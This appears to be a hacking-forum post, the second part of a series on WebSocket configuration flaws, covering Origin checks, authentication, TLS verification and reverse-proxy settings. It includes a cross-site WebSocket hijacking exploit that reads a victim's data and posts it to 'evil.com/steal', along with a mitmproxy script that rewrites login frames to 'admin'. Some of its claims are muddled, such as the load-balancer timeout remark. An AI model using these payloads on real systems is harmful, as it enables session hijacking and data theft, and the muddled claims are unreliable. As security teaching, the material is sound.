Vulnerabilities in WebSocket Configurations and Their Operation PART 2

Depov

Activist
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
126
Reaction score
116
Deposit
0$
Configuration Vulnerabilities - Daily Bread

Now, moving on from low-level intricacies, let’s look at what happens in 90% of cases. Configu (disambiguation) What admins and developers configure without thinking about WS.

1. No Verification (WebSocket Origin Hijacking)

The most common vulnerability. The bottom line: the server either does not check the Origin header during the handshake or checks it incorrectly.



Scenario 1: Complete disregard. The server accepts a connection from any Origin, even if it’s missing. Any website on the Internet can use JavaScript to open a WebSocket connection to such a server on behalf of a user who has a session on the target service (if it’s a browser-based application). It’s a classic CSRF attack, but at the socket level.





Scenario 2: Checking a "whitelist," but with an error. For example, verifying origin.includes("target.com"). Then evil-target.com or target.com.evil.ru will pass.





Scenario 3: Confusion with null Origin. Origin: null occurs when you open an HTML file from the disk (file://) or in some
sandboxed iframe. If the server allows null, it could be a loophole.



Exploitation:



We find the WS endpoint (e.g., wss://app.target.com/ws)





Create a malicious page on your domain (https://еvil.com/exploit.html)





On the JavaScript page:





const ws = new WebSocket('wss://app.target.com/ws');

ws.onopen = () => {

// We're in! The session of the user who opened evil.com is being used.

ws.send(JSON.stringify({action: "getUserData"}));

};

ws.onmessage = (event) => {

// Send data to our server

fetch('https://evil.com/steal', {method: 'POST', body: event.data});

};


4. Picking the victim (user) app.target.com on evil.com. The WS connection in the browser will automatically attach the session cookies to the handshake (unless you have set SameSite=Strict).

Protection (from the server): Strict origin validation on the backend. Compare against a list of trusted domains. No exceptions; only exact matches or checks against the list.

2. No authentication/authorization at the WS-connection level

A typical scenario: the application performs an HTTP login and sets a session cookie. It then establishes the WS connection. Server-side logic:



// PSEUDOCODE! Example of bad practice.

wss.on('connection', (ws, req) => {

// 1. No check to see if the user is authenticated.

// 2. It is assumed that since the connection came from the same domain (Origin), everything is OK.

// 3. Or the "token" in the query string is checked, which can be brute-forced.

const url = new URL(req.url, 'http://dummy');

const token = url.searchParams.get('token');

if (token === 'someStaticSecret') { // Terrible!

ws.user = {role: 'admin'};

}

// The rest of the chat/game logic, etc.

});


Vulnerabilities:



Predictable URL/token. If you need a parameter to connect to WS (/ws?token=SECRET), and this SECRET is common to everyone or weak (easily guessed), it can be guessed or found in the application's JS files.





No binding to an HTTP session. Even if there is an HTTP session, the WS server must somehow determine which user has connected. This is often done by transmitting a session cookie or token in the query string when a connection is established. If this transmission is unprotected (for example, the token is visible in proxy logs), it can be intercepted.





Authorization after connection. The server receives a connection and only then expects a message of the type {"auth": "token"} from the client. Before this message is sent, the client may already have some form of access (for example, listening to common channels). This can lead to information leakage.



Practical Tool #3: Sniffing and WS Traffic Interception
To use this, you need to understand how the client is authenticated. Browser DevTools (tab Network -> WS) will show the connection URL and all frames. But if you need to go deeper or work with desktop clients, we use mitmproxy.

Mitmproxy has built-in support for WebSocket. You can write scripts to automatically modify frames.

Example of a script for mitmproxy (ws_injector.py):

Python:

from mitmproxy import ctx, http



from mitmproxy.websocket import WebSocketFlow







def websocket_message(flow: WebSocketFlow):



"""



Called for every WS message.



flow.messages - a list of messages (from_client, content).



"""



message = flow.messages[-1]



if message.from_client:



ctx.log.info(f"Client -> Server: {message.content}")



# Example: if we see a message containing a login, we'll replace it



if b'"login":"user"' in message.content:



new_content = message.content.replace(b'"login":"user"', b'"login":"admin"')



message.content = new_content



ctx.log.warn(f"Injected admin login!")



else:



ctx.log.info(f"Server -> Client: {message.content}")







def request(flow: http.HTTPFlow):



# Intercept the HTTP handshake request



if "websocket" in flow.request.headers.get("upgrade", "").lower():



ctx.log.info(f"WS Handshake to: {flow.request.path}")



# You can override the Origin header



# flow.request.headers["origin"] = "https://trusted.com"


Launch: mitmweb -s ws_injector.py (with a web interface). Configure the browser or system to use mitmproxy. Now we can view all frames and modify them on the fly.

3. Unsafe WSS (SSL/TLS configuration)

ws:// is the cleanest protocol. It cannot be used in production—period. But wss:// is not a panacea either. Anything related to poor SSL/TLS configuration (obsolete protocols, weak ciphers, self-signed certificates without customer verification) applies here.

Feature: Many WS clients (especially in desktop applications built on Electron or mobile apps) disable certificate verification for convenience. In the code, this looks like `rejectUnauthorized: false` in Node.js or its equivalent. This means that a self-signed certificate MITM attack becomes trivial.

How to check? Static client code analysis (if available, as in Electron applications). Or dynamic analysis: run the application, route it through a proxy like Burp Suite or mitmproxy with your own certificate, and see if it accepts the connection.

4. Firewall Configuration and Load Balancers

WS operates on the same port as HTTP(S) (most often 80/443). However, its behavior differs: a single long-lived connection instead of many short ones.



Timeouts. Load balancers (Nginx, HAProxy, cloud load balancers) have timeouts for keep-alive connections. For WS, these need to be increased (in milliseconds, not seconds). If you do not increase them, the connection will be terminated due to inactivity (ping or traceroute may not help if the load balancer does not recognize them).





Buffers. Large frames or high message frequency can overwhelm the load balancer if it is optimized for small HTTP requests.





Header handling. The load balancer must correctly process headers, especially the Request-Header and Response-Header. And, critically, the headers used for authentication (Cookie, Authorization). Errors in Nginx configurations (proxy_set_header) can cause the backend to receive a connection without a session cookie and treat it as an anonymous request.



An example of a poor Nginx configuration:


location /ws/ {

proxy_pass http://backend;

proxy_http_version 1.1;

proxy_set_header Upgrade $http_upgrade;

proxy_set_header Connection "upgrade";

# FORGOT TO SET THE COOKIE! The backend won't see the cookie.

# proxy_set_header Cookie $http_cookie; <-- THIS LINE IS MISSING

}


Result: Anyone can connect to /ws/ and gain authorized access because the backend does not see cookies and cannot verify the session.
 
Top Bottom